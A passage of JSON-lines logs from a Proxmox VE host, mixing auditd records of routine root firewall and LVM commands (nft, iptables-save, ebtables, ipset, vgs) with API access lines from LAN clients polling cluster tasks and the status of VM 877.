[20/06/2026:15:33:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965232252,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965232.252:64723): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62176 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965544718,"@rawstring":"node=pve type=EXECVE msg=audit(1781965544.718:66053): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964455325,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.325:61095): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f4a20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58654 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966011792,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:30 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1119"} {"@timestamp":1781965227244,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965227.244:64720): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62175 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965543402,"@rawstring":"node=pve type=EXECVE msg=audit(1781965543.402:66052): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964455320,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.320:61094): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac9a60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58653 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966011792,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:30 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 926"} {"@timestamp":1781965227235,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965227.235:64717): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62174 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965543395,"@rawstring":"node=pve type=EXECVE msg=audit(1781965543.395:66049): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964455313,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.313:61093): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58652 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966011792,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965225463,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.463:64714): arch=c000003e syscall=59 success=yes exit=0 a0=5ca1fcf5ded0 a1=5ca1fcf5ac50 a2=5ca1fcf3c680 a3=5 items=2 ppid=62167 pid=62173 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965540548,"@rawstring":"node=pve type=EXECVE msg=audit(1781965540.548:66046): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964455307,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.307:61092): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58651 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966011792,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:30 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965225454,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.454:64713): arch=c000003e syscall=59 success=yes exit=0 a0=5ca1d3718ac8 a1=7fff864c97a0 a2=5ca1fcf3c680 a3=5ca1d36fc24e items=2 ppid=62167 pid=62169 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965540546,"@rawstring":"node=pve type=EXECVE msg=audit(1781965540.546:66045): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781964455303,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.303:61091): arch=c000003e syscall=59 success=yes exit=0 a0=5e2b711e6b20 a1=5e2b711f2e00 a2=5e2b711c0680 a3=5 items=2 ppid=58644 pid=58650 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966010102,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1119"} {"@timestamp":1781965225454,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.454:64712): arch=c000003e syscall=59 success=yes exit=0 a0=7fff864c9760 a1=5ca1fcf59b40 a2=5ca1fcf3c680 a3=5 items=2 ppid=62167 pid=62168 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965540544,"@rawstring":"node=pve type=EXECVE msg=audit(1781965540.544:66044): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781964455299,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.299:61090): arch=c000003e syscall=59 success=yes exit=0 a0=5e2b40dafac8 a1=7ffe84621e70 a2=5e2b711c0680 a3=5e2b40d9324e items=2 ppid=58644 pid=58646 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966010102,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:28 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965225447,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.447:64710): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62167 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965538385,"@rawstring":"node=pve type=EXECVE msg=audit(1781965538.385:66043): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964455299,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.299:61089): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe84621e30 a1=5e2b711e21c0 a2=5e2b711c0680 a3=5 items=2 ppid=58644 pid=58645 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966008961,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:28 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 932"} {"@timestamp":1781965225436,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.436:64709): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62166 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965538374,"@rawstring":"node=pve type=EXECVE msg=audit(1781965538.374:66040): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964455294,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.294:61087): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58644 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966008961,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1119"} {"@timestamp":1781965225420,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.420:64708): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62165 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535821,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.821:66037): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964455286,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.286:61086): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58643 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966008238,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:26 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 890"} {"@timestamp":1781965225408,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.408:64707): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62164 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535803,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.803:66036): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964455278,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.278:61085): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58642 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966008238,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965225395,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.395:64706): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62163 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535800,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.800:66035): argc=1 a0=\"date\""} {"@timestamp":1781964455274,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.274:61084): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adbd00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58641 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966008238,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:26 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965225393,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.393:64705): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=558c34808740 items=0 ppid=1156 pid=62162 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965535788,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.788:66033): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964455267,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.267:61083): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138af0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58640 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966006721,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:25 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781965225390,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.390:64704): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc136530 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62162 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535774,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.774:66032): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964455260,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964455.260:61082): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc14af50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58639 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966006721,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965225384,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.384:64703): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc148d60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62161 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535752,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.752:66031): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964454431,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964454.431:61081): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58638 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005716,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:24 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1119"} {"@timestamp":1781965225377,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.377:64702): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e63b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62160 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535724,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.724:66030): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964454421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964454.421:61078): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e05d0 a1=64f8d74098f0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58636 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005716,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:24 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 932"} {"@timestamp":1781965225373,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.373:64701): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62159 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535689,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.689:66029): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964454423,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964454.423:61077): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58637 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966003800,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781965225367,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.367:64700): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62158 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535666,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.666:66027): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964454394,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964454.394:61074): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c0a00 a1=64f8d73dff10 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58635 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966003800,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:22 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 913"} {"@timestamp":1781965225361,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.361:64699): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb60f23f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62157 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535639,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.639:66026): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964449412,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964449.412:61073): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58632 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966002794,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965225354,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.354:64698): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62156 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535620,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.620:66025): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964449405,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964449.405:61070): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58631 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966002794,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:22 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965225347,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.347:64697): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62155 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535601,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.601:66024): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964445248,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.248:61067): arch=c000003e syscall=59 success=yes exit=0 a0=5bfd6eefbd70 a1=5bfd6ef07b30 a2=5bfd6eed5680 a3=5 items=2 ppid=58623 pid=58629 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966002794,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781965225343,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.343:64696): arch=c000003e syscall=59 success=yes exit=0 a0=5f8b20df4b20 a1=5f8b20e00a30 a2=5f8b20dce680 a3=5 items=2 ppid=62148 pid=62154 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535589,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.589:66023): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964445245,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.245:61066): arch=c000003e syscall=59 success=yes exit=0 a0=5bfd4c47aac8 a1=7ffef7c28560 a2=5bfd6eed5680 a3=5bfd4c45e24e items=2 ppid=58623 pid=58625 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966001794,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1081"} {"@timestamp":1781965225341,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.341:64695): arch=c000003e syscall=59 success=yes exit=0 a0=5f8b01c12ac8 a1=7ffd0a5ec460 a2=5f8b20dce680 a3=5f8b01bf624e items=2 ppid=62148 pid=62150 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535578,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.578:66022): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964445244,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.244:61065): arch=c000003e syscall=59 success=yes exit=0 a0=7ffef7c28520 a1=5bfd6eef7410 a2=5bfd6eed5680 a3=5 items=2 ppid=58623 pid=58624 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966001794,"@rawstring":"::ffff:192.168.1.192 - root@pam 